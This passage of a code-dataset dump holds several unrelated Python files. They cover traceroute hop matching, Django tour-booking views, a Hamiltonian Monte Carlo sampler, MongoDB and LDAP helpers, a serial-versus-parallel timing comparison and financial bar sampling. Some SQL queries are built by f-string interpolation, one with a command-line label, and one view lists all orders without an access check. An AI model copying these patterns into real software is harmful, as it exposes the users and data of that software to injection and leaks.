previous_tr_hop:\n previous_tr_hop = max_pred_tr_hop\n intersects_per_rr_hop_with_pred_succ[rr_hop] = previous_tr_hop, next_tr_hop\n\n # print(tr_id)\n # Now insert the subpaths intersection into the database\n\n for rr_hop, (tr_hop_start_index, tr_hop_end_index) in intersects_per_rr_hop_with_pred_succ.items():\n tr_ttl_start = tr_hops[tr_hop_start_index][1]\n tr_ttl_end = tr_hops[tr_hop_end_index][1]\n rr_intersection_rows_to_insert.append((tr_id, rr_hop, tr_ttl_start, tr_ttl_end))\n\n query = (\n f\" INSERT INTO atlas_rr_intersection (traceroute_id, rr_hop, tr_ttl_start, tr_ttl_end) \"\n f\" VALUES (%s, %s, %s, %s) \"\n )\n cursor.executemany(query, rr_intersection_rows_to_insert)\n\ndef match_rr_tr_hops_traceroute_ids(traceroute_ids, with_p2p):\n connection = get_connection(\"traceroute_atlas\", autocommit=0)\n traceroute_ids = list(traceroute_ids)\n for i in range(0, len(traceroute_ids), 1000):\n max_index = i + 1000\n if i + 1000 > len(traceroute_ids):\n max_index = len(traceroute_ids)\n in_clause= f\"\".join([f\",{traceroute_id}\" for traceroute_id in traceroute_ids[i:max_index]])[1:]\n\n query = (\n f\" SELECT traceroute_id, ping_id, tr_hop, rr_hop, rr_hop_index \"\n f\" FROM atlas_rr_pings arrp \"\n f\" INNER JOIN atlas_traceroutes at ON at.id = arrp.traceroute_id \"\n f\" WHERE at.id in ({in_clause}) \"\n f\" ORDER BY traceroute_id, ping_id, rr_hop_index \"\n )\n cursor = connection.cursor()\n cursor.execute(query, )\n # rows = cursor.fetchmany(batch_size)\n rows = cursor.fetchall()\n if len(rows) == 0:\n return\n # print(f\"Fetched {len(rows)} rows\")\n i = 0\n rr_hops_per_tr_id = {}\n ips_for_alias_set = set()\n for row in rows:\n i += 1\n tr_id, ping_id, tr_hop, rr_hop, rr_hop_index = row\n if ipaddress.ip_address(rr_hop).is_private:\n continue\n ips_for_alias_set.add(rr_hop)\n # rr hops are ordered\n rr_hops_per_tr_id.setdefault(tr_id, {}).setdefault(tr_hop, {}).setdefault(ping_id, []).append(\n (rr_hop, rr_hop_index))\n\n query = (\n f\" SELECT src, dest, trace_id, ath.hop, ath.ttl\"\n f\" FROM atlas_traceroute_hops ath\"\n f\" INNER JOIN atlas_traceroutes at ON at.id = ath.trace_id \"\n f\" WHERE at.id in ({in_clause}) \"\n f\" ORDER BY trace_id, ttl\"\n )\n\n cursor.execute(query, )\n # rows = cursor.fetchmany(batch_size)\n rows = cursor.fetchall()\n src_dst_per_tr_id = {}\n tr_hops_per_tr_id = {}\n for row in rows:\n src, dest, trace_id, hop, ttl = row\n tr_hops_per_tr_id.setdefault(trace_id, []).append((hop, ttl))\n src_dst_per_tr_id[trace_id] = (src, dest)\n\n match_rr_tr_hops(cursor, ips_for_alias_set, rr_hops_per_tr_id, tr_hops_per_tr_id, with_p2p)\n\n connection.commit()\n cursor.close()\n connection.close()\n\ndef compute_tr_hops_by_tr_id(cursor, src, label):\n query = (\n f\" SELECT src, dest, trace_id, ath.hop, ath.ttl\"\n f\" FROM atlas_traceroute_hops ath\"\n f\" INNER JOIN atlas_traceroutes at ON at.id = ath.trace_id \"\n f\" WHERE at.dest={src} \"\n )\n if label is not None:\n query += f\" AND at.platform='{label}' \"\n query += (\n f\" ORDER BY trace_id, ttl\"\n )\n\n cursor.execute(query, )\n # rows = cursor.fetchmany(batch_size)\n rows = cursor.fetchall()\n src_dst_per_tr_id = {}\n tr_hops_per_tr_id = {}\n for row in rows:\n src, dest, trace_id, hop, ttl = row\n tr_hops_per_tr_id.setdefault(trace_id, []).append((hop, ttl))\n src_dst_per_tr_id[trace_id] = (src, dest)\n\n return tr_hops_per_tr_id, src_dst_per_tr_id\n\ndef compute_rr_hops_by_tr_id(cursor, src, label):\n query = (\n f\" SELECT traceroute_id, ping_id, tr_hop, rr_hop, rr_hop_index \"\n f\" FROM atlas_rr_pings arrp \"\n f\" INNER JOIN atlas_traceroutes at ON at.id = arrp.traceroute_id \"\n f\" WHERE at.dest={src} \"\n )\n if label is not None:\n query += f\" AND at.platform='{label}' \"\n query += (\n f\" ORDER BY traceroute_id, ping_id, rr_hop_index \"\n\n )\n\n cursor.execute(query, )\n # rows = cursor.fetchmany(batch_size)\n rows = cursor.fetchall()\n if len(rows) == 0:\n return\n # print(f\"Fetched {len(rows)} rows\")\n i = 0\n rr_hops_per_tr_id = {}\n ips_for_alias_set = set()\n for row in rows:\n i += 1\n tr_id, ping_id, tr_hop, rr_hop, rr_hop_index = row\n if ipaddress.ip_address(rr_hop).is_private:\n continue\n ips_for_alias_set.add(rr_hop)\n # rr hops are ordered\n rr_hops_per_tr_id.setdefault(tr_id, {}).setdefault(tr_hop, {}).setdefault(ping_id, []).append(\n (rr_hop, rr_hop_index))\n return rr_hops_per_tr_id, ips_for_alias_set\n\ndef match_rr_tr_hops_all(with_p2p, label):\n vps = get_vps()\n\n for src in vps:\n print(src)\n connection = get_connection(\"traceroute_atlas\", autocommit=0)\n cursor = connection.cursor()\n\n rr_hops_per_tr_id_ips_for_alias_set = compute_rr_hops_by_tr_id(cursor, src, label)\n if rr_hops_per_tr_id_ips_for_alias_set is not None:\n rr_hops_per_tr_id, ips_for_alias_set = rr_hops_per_tr_id_ips_for_alias_set\n tr_hops_per_tr_id, src_dst_per_tr_id = compute_tr_hops_by_tr_id(cursor, src, label)\n match_rr_tr_hops(cursor, ips_for_alias_set, rr_hops_per_tr_id, tr_hops_per_tr_id, with_p2p)\n\n connection.commit()\n connection.close()\n\n\nif __name__ == \"__main__\":\n\n '''\n Run the intersection algorithm to find with RR hop corresponds to which TrHop in traceroutes. \n '''\n\n ######################################################################\n ## Parameters\n ######################################################################\n parser = argparse.ArgumentParser()\n parser.add_argument(\"-m\", \"--mode\", help=\"mode, either all, label or selection\", type=str)\n parser.add_argument(\"-l\", \"--label\", help=\"label of the traceroutes in the database\", type=str)\n parser.add_argument(\"--id\", help=\"traceroute id\", type=int)\n parser.add_argument(\"--ids-file\", help=\"file containing traceroute ids\", type=str)\n\n\n args = parser.parse_args()\n\n if not args.mode or args.mode not in [\"all\", \"selection\", \"label\"]:\n print(parser.error(\"mode option is mandatory, values are either all or single\"))\n exit(1)\n\n if args.mode == \"all\":\n match_rr_tr_hops_all(with_p2p=True, label=args.label)\n elif args.mode == \"selection\":\n traceroute_ids = set()\n with open(args.ids_file) as f:\n for line in f:\n traceroute_ids.add(int(line.strip(\"\\n\")))\n\n match_rr_tr_hops_traceroute_ids(traceroute_ids, with_p2p=True)\n elif args.mode == \"label\":\n match_rr_tr_hops_all(with_p2p=True, label=args.label)\n","sub_path":"rankingservice/atlas/record_route.py","file_name":"record_route.py","file_ext":"py","file_size_in_byte":15606,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"187451221","text":"from django.shortcuts import render, get_object_or_404\nfrom .models import Tour, Order\nfrom django.contrib.auth import get_user\nfrom .forms import AddOrder, UserRegistrationForm\n\n\n\ndef near_tours():\n near_tours = Tour.objects.all().order_by('start_date')[:3]\n return near_tours\n\ndef home(request):\n return render(request, 'home.html',{'near_tours':near_tours()})\n\ndef tour_list(request, tour_type):\n tours = []\n unique_tours = set(Tour.objects.filter(tour_type=tour_type).values_list('title', flat=True))\n for title in unique_tours:\n tours += [Tour.objects.filter(title=title)[0]]\n return render(request, 'tour_list.html', {'tours': tours,'near_tours':near_tours()})\n\n\ndef tour_detail(request, tour_id, tour_type):\n tour = get_object_or_404(Tour, id=tour_id)\n tours = Tour.objects.filter(title=tour.title).order_by('start_date')\n if request.method == \"POST\":\n new_tours = []\n for tour in tours:\n tour.form = AddOrder(request.POST,prefix=tour.id)\n\n if str(tour.form['person_numbers']).find('value') !=-1 and str(tour.form['person_numbers']).find('value') !=-1:\n\n if tour.form.is_valid():\n order = Order()\n order.person_numbers = tour.form.cleaned_data['person_numbers']\n order.contact_phone = tour.form.cleaned_data['contact_phone']\n order.user = get_user(request)\n tour = get_object_or_404(Tour, start_date=request.POST['start_date'])\n order.tour = tour\n if int(order.person_numbers) <= tour.vacant_spot:\n tour.vacant_spot = tour.vacant_spot - int(order.person_numbers)\n tour.save()\n order.save()\n return render(request, 'tour_confirm.html', {'tour': order.tour})\n else:\n tour.message = 'Недостаточно свободных мест'\n tour.form = AddOrder(request.POST, prefix=tour.id)\n new_tours.append(tour)\n else:\n tour.form = AddOrder(request.POST, prefix=tour.id)\n new_tours.append(tour)\n else:\n tour.message = ''\n tour.form = AddOrder(prefix=tour.id)\n new_tours.append(tour)\n return render(request, 'tour_detail.html', {'tour': tour, 'tours': new_tours, 'near_tours': near_tours(),'anchor': 'comment'})\n else:\n for tour in tours:\n tour.form = AddOrder(prefix=tour.id)\n\n return render(request, 'tour_detail.html', {'tour':tour, 'tours':tours,'near_tours':near_tours()})\n\n\ndef register(request):\n if request.method == 'POST':\n user_form = UserRegistrationForm(request.POST)\n if user_form.is_valid():\n new_user = user_form.save(commit=False)\n new_user.set_password(user_form.cleaned_data['password'])\n new_user.save()\n return render(request, 'register_done.html', {'new_user': new_user})\n else:\n user_form = UserRegistrationForm()\n return render(request, 'register.html', {'user_form': user_form})\n\ndef orders(request):\n orders = Order.objects.all().order_by('-id')\n return render(request, 'order_list.html', {'orders': orders})\n\n","sub_path":"Tasks/Olga Ivanova/Project/Vtur/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3362,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"85006580","text":"import numpy as np\nfrom collections import deque\nfrom .hmc import HamiltonianUpdate, HamiltonState\nfrom ..densities.gaussian import Gaussian\nfrom ..sampling import Sample\nfrom ..util import is_power_of_ten\n\n\ndef integrator(q, pot_gradient, v, du, lim_lower, lim_upper, stepsize, nsteps):\n # make a half step for velocity\n v = v - stepsize/2 * du\n \n # alternate full steps for position and momentum\n for l in range(nsteps):\n # make a full step for position\n q = q + stepsize * v\n\n # handle constraints by wall hitting\n while(True):\n l_c = q < lim_lower\n u_c = q > lim_upper\n\n if l_c.any():\n q[l_c] = 2*lim_lower[l_c[0]] - q[l_c]\n v[l_c] = -v[l_c]\n elif u_c.any():\n q[u_c] = 2*lim_upper[u_c[0]] - q[u_c]\n v[u_c] = -v[u_c]\n else:\n break\n\n # make full step for velocity\n du = pot_gradient(q)[0]\n if np.isinf(du).any():\n return None, None, None \n\n if l != nsteps-1:\n v = v - stepsize * du\n\n # make last half step for velocity\n v = v - stepsize/2 * du\n \n return q, v, du\n\n\nclass WallHMC(HamiltonianUpdate):\n \"\"\"\n Wall HMC for box type constraints\n \"\"\"\n\n def __init__(self, target_density, stepsize_min, stepsize_max,\n nsteps_min, nsteps_max, lim_lower=None, lim_upper=None,\n is_adaptive=False):\n p_dist = Gaussian(target_density.ndim)\n super().__init__(target_density, p_dist, None, None, is_adaptive=is_adaptive)\n self.target_density = target_density\n self.p_dist = p_dist\n\n # default limits: unit hypercube\n if lim_lower is None:\n lim_lower = np.zeros(self.target_density.ndim)\n if lim_upper is None:\n lim_upper = np.ones(self.target_density.ndim)\n\n self.stepsize_min = stepsize_min\n self.stepsize_max = stepsize_max\n self.nsteps_min = nsteps_min\n self.nsteps_max = nsteps_max\n self.lim_lower = lim_lower\n self.lim_upper = lim_upper\n\n def init_state(self, state):\n if not isinstance(state, HamiltonState):\n state = HamiltonState(state)\n\n return super().init_state(state)\n \n def proposal(self, current):\n \"\"\"Propose a new state.\"\"\"\n # initialization\n #try:\n # q = current\n # du = current.pot_gradient\n #except AttributeError:\n # current = self.init_state(current)\n # q = current\n # du = current.pot_gradient\n q = current\n du = self.target_density.pot_gradient(q)\n\n # sample velocity\n v = current.momentum = self.p_dist.proposal()\n\n # sample integrator parameters\n nsteps = np.random.randint(self.nsteps_min, self.nsteps_max + 1)\n stepsize = (np.random.rand() * (self.stepsize_max - self.stepsize_min) +\n self.stepsize_min)\n \n # integrate\n q, v, du = integrator(q, self.target_density.pot_gradient, v, du,\n self.lim_lower, self.lim_upper, stepsize, nsteps)\n\n if q is None:\n return None\n\n #pot = self.target_density.pot(q)\n #return HamiltonState(q, momentum=v, pot_gradient=du, pot=pot)\n return HamiltonState(q, momentum=v)\n\n def accept(self, state, candidate):\n \"\"\"Return the logarithm of the acceptance probability.\"\"\"\n try:\n U_current = self.target_density.pot(state)\n #if np.isinf(U_current): # shouldn't be necessary\n # return 0\n H_current = U_current + .5*state.momentum.dot(state.momentum)\n U_proposal = self.target_density.pot(candidate)\n if np.isinf(U_proposal):\n return -np.inf\n H_proposal = U_proposal + .5*candidate.momentum[0].dot(candidate.momentum[0])\n log_prob = -H_proposal + H_current\n if np.isinf(log_prob): # shouldn't be necessary\n return -np.inf\n return log_prob\n except RuntimeWarning:\n return -np.inf\n\n def next_state(self, state, iteration):\n candidate = self.proposal(state)\n if candidate is None:\n return state\n\n try:\n log_accept = self.accept(state, candidate)\n except (TypeError, AttributeError):\n # in situations like mixing/composite updates, previous update\n # may not have set necessary attributes (such as pdf)\n state = self.init_state(state)\n log_accept = self.accept(state, candidate)\n\n #if not np.isinf(log_accept) and np.log(np.random.rand()) < min(0, log_accept):\n if np.log(np.random.rand()) < log_accept:\n next_state = candidate\n else:\n next_state = state\n\n if self.is_adaptive:\n self.adapt(iteration, state, next_state, log_accept)\n\n return next_state\n\n #def sample(self, sample_size, initial, out_mask=None, n_batches=20):\n # \"\"\"\n # Return a weighted sample. To get an unweighted sample it has \n # to be resampled using np.random.choice()\n # \"\"\"\n\n # # initialize sampling\n # state = self.init_state(np.atleast_1d(initial))\n # if len(state) != self.target_density.ndim:\n # raise ValueError('initial must have dimension ' + str(self.target_density.ndim))\n # self.init_adapt(state) # initial adaptation\n\n # batch_length = int(sample_size/n_batches)\n\n # tags = dict()\n # tagged = dict()\n\n # chain = np.empty((sample_size, self.target_density.ndim))\n # chain[0] = state\n\n # batch_accept = deque(maxlen=batch_length)\n # current_seq = 1 # current sequence length\n # max_seq = 1 # maximal sequence length\n # skip = 1\n # for i in range(1, sample_size):\n # state = self.next_state(state, i)\n # if not np.array_equal(state, chain[i - 1]):\n # batch_accept.append(1)\n # if current_seq > max_seq:\n # max_seq = current_seq\n # current_seq = 1\n # else:\n # batch_accept.append(0)\n # current_seq += 1\n\n # chain[i] = state\n # try:\n # try:\n # tags[state.tag_parser].append(state.tag)\n # tagged[state.tag_parser].append(i)\n # except KeyError:\n # tags[state.tag_parser] = []\n # tagged[state.tag_parser] = []\n # except AttributeError:\n # pass\n\n # if i % skip == 0:\n # if i >= batch_length:\n # accept_rate = sum(batch_accept)/batch_length\n # else:\n # accept_rate = sum(batch_accept)/i\n # if i == 1:\n # print(\"Event 1\\t(batch acceptance rate: %f)\" % (accept_rate))\n # else:\n # print(\"Event %i\\t(batch acceptance rate: %f)\\tmax sequence length: %i\" % (i, accept_rate, max(current_seq, max_seq)))\n # if is_power_of_ten(i):\n # skip *= 10\n\n # if out_mask is not None:\n # chain = chain[:, out_mask]\n\n # for parser in tagged:\n # chain[tagged[parser]] = parser(chain[tagged[parser]], tags[parser])\n\n # sample = Sample(data=chain, target=self.target_density)\n # return sample\n","sub_path":"src/hepmc/core/hamiltonian/wall_hmc.py","file_name":"wall_hmc.py","file_ext":"py","file_size_in_byte":7491,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"275128142","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n# vim: ai ts=4 sts=4 et sw=4\n\nfrom django.conf import settings\nimport os, json, sys\nimport datetime\nfrom bson.code import Code\nfrom bson.objectid import ObjectId\nfrom bson import json_util\nfrom pymongo import MongoClient, DESCENDING\nfrom collections import OrderedDict\n\n\n\ndef to_json(results_dict):\n return json.dumps(results_dict, indent = 4, default=json_util.default)\n \n \ndef update_mongo_pjson(document, database_name=\"nppes\", collection_name=\"pjson\"):\n \"\"\"Update a Provider JSON resource. The resource must exist in this implementation.\n \"\"\"\n l=[]\n response_dict=OrderedDict()\n invalid = False\n existing_document = None\n try:\n\n mc = MongoClient(host='127.0.0.1', port=27017, document_class=OrderedDict)\n db = mc[database_name]\n collection = db[collection_name]\n\n myobject=collection.find_one({'number':document['number']})\n response_dict['number'] = document['number']\n if not myobject:\n response_dict['code']=404\n response_dict['errors']=[\"The record cannot be updated because it is not found in the database.\",]\n \n else:\n document['_id'] = myobject['_id']\n myobjectid=collection.save(document)\n response_dict['code']=200\n except:\n print(\"Error reading from Mongo\")\n print(str(sys.exc_info()))\n response_dict['code'] = 500\n response_dict['errors']=[ str(sys.exc_info()), ]\n\n \n return response_dict\n\n\n","sub_path":"apps/nppes_handler/mongoutils.py","file_name":"mongoutils.py","file_ext":"py","file_size_in_byte":1550,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"184900302","text":"\"\"\"\nAccess and query The University's TED database.\n\nOriginally authored by Gary Wilson Jr. while in the ECE Department, and since\nadapted to make use of the python-simpleldap library that was factored out of\nthe original work.\n\"\"\"\n\nfrom getpass import getpass\nfrom ldap.filter import filter_format\nfrom simpleldap import Connection, LDAPItem\n\n\nclass TEDLDAPItem(LDAPItem):\n \"\"\"\n An extension of LDAPItem with methods specific to TED.\n \"\"\"\n\n def is_active(self):\n \"\"\"\n Return True if object has 'Active' inetUserStatus.\n Indicates whether the person is permitted to logon using their UT EID.\n \"\"\"\n return self.first('inetUserStatus') == 'Active'\n\n def has_affiliation(self, value):\n \"\"\"\n Return True if object has the passed value in the eduPersonAffiliation\n attribute.\n \"\"\"\n return value in self['eduPersonAffiliation']\n\n def has_entitlement(self, code):\n \"\"\"\n Return True if object has the given entitlement code.\n \"\"\"\n return code in self['utexasEduPersonEntitlementCode']\n\n def in_depts(self, depts, attr='utexasEduPersonOrgUnitName'):\n \"\"\"\n Return True if object is in any of the given departments, using the\n utexasEduPersonOrgUnitName attribute to determine membership.\n\n If depts is empty, then return True.\n\n attr is the attribute to use to determine department membership. The\n default is 'utexasEduPersonOrgUnitName', but when looking up a student\n you'll likely want to use 'utexasEduPersonMajorDept'.\n \"\"\"\n if not depts:\n return True\n for dept in depts:\n if dept in self[attr]:\n return True\n return False\n\n def is_faculty(self, depts=[]):\n \"\"\"\n Return True if object has 'faculty' in the eduPersonAffiliation\n attribute. Accepts an optional list of department names passed as\n depts, that will also check that the object has one of those\n department names in the utexasEduPersonOrgUnitName attribute.\n \"\"\"\n return self.has_affiliation('faculty') and self.in_depts(depts)\n\n def is_staff(self, depts=[]):\n \"\"\"\n Return True if object has 'staff' in the eduPersonAffiliation\n attribute. Accepts an optional list of department names passed as\n depts, that will also check that the object has one of those\n department names in the utexasEduPersonOrgUnitName attribute.\n \"\"\"\n return self.has_affiliation('staff') and self.in_depts(depts)\n\n def is_student(self, depts=[]):\n \"\"\"\n Return True if object has 'student' in the eduPersonAffiliation\n attribute. Accepts an optional list of department names passed as\n depts, that if passed will also check that the object is a major of\n one of those departments.\n \"\"\"\n return self.has_affiliation('student') \\\n and self.in_depts(depts, attr='utexasEduPersonMajorDept')\n\n def is_member(self):\n \"\"\"\n Return True if object has 'member' in the eduPersonAffiliation\n attribute.\n \"\"\"\n return self.has_affiliation('member')\n\n def is_affiliate(self):\n \"\"\"\n Return True if object has 'affiliate' in the eduPersonAffiliation\n attribute.\n \"\"\"\n return self.has_affiliation('affiliate')\n\n def has_signature_authority(self):\n \"\"\"\n Return True if object's EID has electronic signature authority\n (SIG entitlement).\n \"\"\"\n return self.has_entitlement(\"SIG\")\n\n def is_developer(self):\n \"\"\"\n Return True if the object has the developer (DEV) entitlement.\n \"\"\"\n return self.has_entitlement(\"DEV\")\n\n def is_restricted(self):\n \"\"\"\n Return True if the person's data is restricted\n \"\"\"\n restrictions = [\n self.get('utexasEduPersonAttrRestrict', None),\n self.get('utexasEduPersonRecordRestrict', None),\n ]\n return restrictions != [None,None]\n\n\nclass TEDConnection(Connection):\n \"\"\"\n A connection to TED, the uTexas Enterprise Directory.\n \"\"\"\n\n # Default attributes to return for searches.\n attributes = [\n 'cn',\n 'givenName',\n 'sn',\n 'inetUserStatus',\n 'utexasEduPersonEid',\n 'utexasEduPersonUin',\n 'utexasEduPersonIsoNumber',\n 'utexasEduPersonOrgUnitName',\n 'utexasEduPersonPubAffiliation',\n 'eduPersonAffiliation',\n 'utexasEduPersonPrimaryTitle',\n 'utexasEduPersonHighestDegree',\n 'utexasEduPersonCourseNumber',\n 'utexasEduPersonOrgUnitName',\n 'utexasEduPersonMajorDept',\n 'mail',\n 'utexasEduPersonEntitlementCode',\n 'utexasEduPersonAttrRestrict',\n 'utexasEduPersonRecordRestrict',\n ]\n\n result_item_class = TEDLDAPItem\n\n def __init__(self, dn=None, eid=None, password='', service=True,\n hostname=None, **kwargs):\n \"\"\"\n A connection to the TED server.\n\n Typically, ``eid`` and ``password`` are given, and represent the user\n to bind as. By default, ``eid`` is considered to be a Service EID.\n To use a person EID, set ``service`` to ``False``. Alternatively, you\n may pass a fully-qualified distinguished name as ``dn``, which,\n if given, will be the exact dn string used to bind. If you pass no\n dn or password, both default to empty string (anonymous bind).\n\n If host is not given, it defaults to 'entdir.utexas.edu'.\n If encryption is not given, it defaults to 'ssl'.\n \"\"\"\n dn = self._get_dn(dn, eid, service)\n if 'encryption' not in kwargs:\n kwargs['encryption'] = 'ssl'\n super(TEDConnection, self).__init__(hostname, dn=dn, password=password,\n **kwargs)\n\n def _get_dn(self, dn=None, eid=None, service=None):\n \"\"\"\n Helper function to return a dn based the passed values. If neither dn\n nor eid is given, then return '' (anonymous).\n \"\"\"\n if dn:\n return dn\n if eid:\n if service:\n return \"uid=%s,ou=services,dc=entdir,dc=utexas,dc=edu\" % eid\n else:\n return \"uid=%s,ou=people,dc=entdir,dc=utexas,dc=edu\" % eid\n # Anonymous.\n return ''\n\n def _get_by_attr(self, attr, value, **kwargs):\n filter_str = filter_format(\"(%s=%s)\", [attr, value])\n return self.get(filter_str, **kwargs)\n\n def get_by_eid(self, eid, *args, **kwargs):\n return self._get_by_attr(\"utexasEduPersonEid\", eid, *args, **kwargs)\n\n def get_by_uin(self, uin, *args, **kwargs):\n return self._get_by_attr(\"utexasEduPersonUin\", uin, *args, **kwargs)\n\n def get_by_iso(self, iso, *args, **kwargs):\n return self._get_by_attr(\"utexasEduPersonIsoNumber\", iso,\n *args, **kwargs)\n\n def search(self, filter, **kwargs):\n if 'attrs' not in kwargs or kwargs['attrs'] == None:\n kwargs['attrs'] = self.attributes\n else:\n kwargs['attrs'].extend([\n attr for attr in self.attributes if attr not in kwargs['attrs']\n ])\n return super(TEDConnection, self).search(filter, **kwargs)\n\n def _search_by_attr(self, attr, value, **kwargs):\n filter_str = filter_format(\"(%s=%s)\", [attr, value])\n return self.search(filter_str, **kwargs)\n\n def search_by_eid(self, eid, *args, **kwargs):\n return self._search_by_attr(\"utexasEduPersonEid\", eid, *args, **kwargs)\n\n def search_by_uin(self, uin, *args, **kwargs):\n return self._search_by_attr(\"utexasEduPersonUin\", uin, *args, **kwargs)\n\n def search_by_iso(self, iso, *args, **kwargs):\n return self._search_by_attr(\"utexasEduPersonIsoNumber\", iso,\n *args, **kwargs)\n\n def search_by_name(self, fullname, *args, **kwargs):\n \"\"\"\n Search for fullname in TED cn field.\n\n ``fullname`` is handled like so:\n\n * If only a single name is given, e.g. \"last\", the query finds objects\n with an exact match of the cn or objects with a matching last name\n (cn \" last\").\n * If two names are given, e.g. \"first last\", the query finds objects\n with a matching first name (cn beginning with \"first \") and last\n name.\n * If three or more names are given, e.g. \"first middle1 middle2 last\",\n the query finds objects with a matching first and last name that also\n contain the middle names (cn containing \" middle1 middle2 \").\n\n Note, querying for common names will likely result in the server\n returning a size limit exceeded error; thus, when at all possible, you\n should really only be querying by EID, UIN, or ISO.\n \"\"\"\n names = fullname.split()\n if len(names) < 1:\n filter_str = '(cn=)'\n elif len(names) == 1:\n filter_str = filter_format(\"(|(cn=%s)(cn=* %s))\", [names[0]] * 2)\n elif len(names) == 2:\n filter_str = filter_format(\"(&(cn=%s *)(cn=* %s))\", names)\n else:\n middle_names = \" \".join(names[1:-1])\n filter_str = filter_format(\"(&(cn=%s *)(cn=* %s *)(cn=* %s))\",\n [names[0], middle_names, names[-1]])\n return self.search(filter_str, *args, **kwargs)\n\n\nclass InteractiveTEDConnection(TEDConnection):\n \"\"\"Prompts for EID and password.\"\"\"\n\n def __init__(self, **kwargs):\n if 'eid' not in kwargs:\n kwargs['eid'] = raw_input('Enter EID: ')\n if 'password' not in kwargs:\n kwargs['password'] = getpass(\"%s's password: \" % kwargs['eid'])\n super(InteractiveTEDConnection, self).__init__(**kwargs)\n","sub_path":"ted/ted.py","file_name":"ted.py","file_ext":"py","file_size_in_byte":9905,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"184861213","text":"import os\nimport random\n\nimport pathlib\nimport time\nimport datetime\nimport timeit\n\n\nfopInput='/home/hung/git/COMS527_data/PrutorCodes/'\nfopTempAnalysis='/home/hung/git/COMS527_data/TempAnalysis/'\n# fopSerialTime='/home/hung/git/COMS527_data/TimeAnalysis_all/'\nfopOutputAnalysis='/home/hung/git/COMS527_data/OutputAnalysis_all3/'\n# fopParallelTime='/home/hung/git/COMS527_data/Aug1-TimeAnalysis_all/'\nfopParallelOutputAnalysis='/home/hung/git/COMS527_data/Aug1-OutputAnalysis_all3/'\n\ndef intersection(lst1, lst2):\n lst3 = [value for value in lst1 if value in lst2]\n return lst3\ndef extractPrintOutputAndTime(strContent):\n arrContent=strContent.split('\\n')\n strPrint=''\n strTime=''\n if(len(arrContent)>=2):\n strTime=arrContent[len(arrContent)-1]\n l = list(arrContent)\n l.pop()\n strPrint='\\n'.join(l)\n return strPrint,strTime\n\nlistSerialTime=[]\nlistSerialAnalysis=[]\nlistParallelTime=[]\nlistParallelAnalysis=[]\ndictSerialTime={}\n# dictSerialAnalysis={}\ndictParallelTime={}\n# dictParallelAnalysis={}\ndictOutputSame={}\n\ncurrentPattern = \"*.txt\"\nlistFiles=[]\nlistNameIntersection=[]\ncurrentDirectory = pathlib.Path(fopParallelOutputAnalysis)\nfor currentFile in currentDirectory.glob(currentPattern):\n strFilePath=str(currentFile)\n listFiles.append(strFilePath)\n# print('Parallel size {}'.format(len(listFiles)))\nfor i in range(0,len(listFiles)):\n strFilePath=listFiles[i]\n\n isTimeSerialOK=False\n isOutputSerialOK = False\n isTimeParallelOK = False\n isOutputParallelOK = False\n\n fileName=os.path.basename(strFilePath).replace('.txt','').replace('output-','')\n strContentParallel=''\n strContentTimeParallel=''\n strContentOutputParallel=''\n\n try:\n f = open(strFilePath, 'r', encoding=\"latin-1\")\n strContentParallel = f.read().strip()\n strContentOutputParallel,strContentTimeParallel=extractPrintOutputAndTime(strContentParallel)\n f.close()\n except Exception as e:\n strContentParallel = ''\n if (strContentTimeParallel.startswith('Time elapsed in ms: ')):\n # listParallelTime.append(fileName)\n isTimeParallelOK=True\n strTime=strContentTimeParallel.replace('Time elapsed in ms: ','').strip()\n num = float(strTime)\n dictParallelTime[fileName] = num\n if ((strContentOutputParallel != '') and (not 'error' in strContentOutputParallel)):\n isOutputParallelOK=True\n\n\n fpOutputSerial = fopOutputAnalysis + 'output-' + fileName + '.txt'\n strContentSerial = ''\n strContentTimeSerial=''\n strContentOutputSerial=''\n try:\n f = open(fpOutputSerial, 'r', encoding=\"latin-1\")\n strContentSerial = f.read().strip()\n f.close()\n\n except Exception as e:\n strContentSerial=''\n strContentOutputSerial,strContentTimeSerial=extractPrintOutputAndTime(strContentSerial)\n if (strContentTimeSerial.startswith('Time elapsed in ms: ')):\n # listSerialTime.append(fileName)\n isTimeSerialOK = True\n strTime = strContentTimeSerial.replace('Time elapsed in ms: ', '').strip()\n num = float(strTime)\n dictSerialTime[fileName] = num\n\n if ((strContentOutputSerial != '') and (not 'error' in strContentOutputSerial)):\n isOutputSerialOK=True\n listSerialAnalysis.append(fileName)\n # dictSerialAnalysis[fileName]=strContentOutputSerial\n\n # print('{} {} {} {}'.format(isTimeParallelOK,isOutputParallelOK,isTimeSerialOK,isOutputSerialOK))\n if(isTimeParallelOK and isOutputParallelOK and isTimeSerialOK and isOutputSerialOK):\n listNameIntersection.append(fileName)\n\n if strContentOutputSerial == strContentOutputParallel:\n dictOutputSame[fileName]=True\n else:\n dictOutputSame[fileName]=False\n\n print('{} file {} is OK'.format((i+1),fileName))\n else:\n print('{} file {} is missing'.format((i + 1), fileName))\n # if i == 1000:\n # break\n\nstrHead='Code,TimeSerial,TimeParallel,IsParallelBetterInTime,IsOutputConsistent,IsAllConsistent'\nlstTotal=[]\nlstTotal.append(strHead)\nnumOfAbnormalInTime=0\nnumOfAbnormalInOutput=0\nnumOfAbnormalInTotal=0\ntotalMillisecondSerial=0\ntotalMillisecondParallel=0\nfor i in range(0,len(listNameIntersection)):\n strName=listNameIntersection[i]\n isParallelBetterInTime=dictParallelTime[strName]= m:\n idx.append(i)\n ts = 0\n continue\n return idx\n\ndef tick_bar_df(df, column, m):\n idx = tick_bars(df, column, m)\n return df.iloc[idx]\n#========================================================\ndef volume_bars(df, column, m):\n '''\n compute volume bars\n\n # args\n df: pd.DataFrame()\n column: name for price data\n m: int(), threshold value for volume\n # returns\n idx: list of indices\n '''\n t = df[column]\n ts = 0\n idx = []\n for i, x in enumerate(tqdm(t)):\n ts += x\n if ts >= m:\n idx.append(i)\n ts = 0\n continue\n return idx\n\ndef volume_bar_df(df, column, m):\n idx = volume_bars(df, column, m)\n return df.iloc[idx]\n#========================================================\ndef dollar_bars(df, column, m):\n '''\n compute dollar bars\n\n # args\n df: 